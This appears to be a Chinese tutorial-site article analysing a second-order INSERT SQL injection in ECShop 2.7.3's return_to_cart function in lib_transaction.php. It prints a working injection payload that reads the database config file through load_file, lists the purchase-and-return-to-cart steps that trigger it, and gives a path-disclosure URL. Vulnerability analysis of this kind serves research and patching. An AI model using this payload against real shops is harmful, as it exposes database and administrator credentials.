网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

ecshop 2.73 lib_transaction.php文件二次SQL注入漏洞分析

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] 对蘑菇街表示感谢,本博客欢迎投稿。一个二次注入,insert型,可直接读取数据库管理员信息利用过程:找个商品购买,修改颜色单选按钮的value2prime;),(rsquo;6prime;,rsquo;c4598c0015367d28cfcb...

对蘑菇街表示感谢,本博客欢迎投稿。
 
一个二次注入,insert型,可直接读取数据库管理员信息
利用过程:找个商品购买,修改颜色单选按钮的value2′),(’6′, ’c4598c0015367d28cfcb267fffc750fd’, ’13′, ’ECS000013′, mid(load_file(‘C:/wamp/www/ec/data/config.php’),70,120), ’1573.20′, ’1200′, ’3′, ”, ’1′, ”, ’0′, ’0′, ’0′, ’217′) – a
 
\
然后保存,去结算,提交订单,去用户中心,找到这个订单,打开,点“放回购物车“
\
 
这里已经触发注入了,我们再去购物车看看
\

数据库信息.
涉及版本:ECShop_V2.7.3_UTF8_release1106是否需要登录:是是否默认配置:是有无利用代码:code
漏洞细节:
赠送个爆路径漏洞,有利于我们获取数据库配置文件物理位置/install/templates/active.php
分析下漏洞产生原因:\includes\lib_transaction.php这个方法function return_to_cart($order_id)看下面的代码
// 要返回购物车的商品
 $return_goods = array( 'goods_id' => $row['goods_id'], 'goods_sn' => addslashes($goods['goods_sn']), 'goods_name' => addslashes($goods['goods_name']), 'market_price' => $goods['market_price'], 'goods_price' => $goods['goods_price'], 'goods_number' => $row['goods_number'], 'goods_attr' => empty($row['goods_attr']) ? '' : addslashes($row['goods_attr']), 'goods_attr_id' => empty($row['goods_attr_id']) ? '' : $row['goods_attr_id'], 'is_real' => $goods['is_real'], 'extension_code'=> addslashes($goods['extension_code']), 'parent_id' => '0', 'is_gift' => '0', 'rec_type' => CART_GENERAL_GOODS );
 
goods_attr_id 这个从数据库里取出来的,是之前提交订单保存进去的非法数据,在这里导致二次注入990行代码中被执行了$GLOBALS['db']->autoExecute($GLOBALS['ecs']->table(‘cart’), $return_goods, ’INSERT’);

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论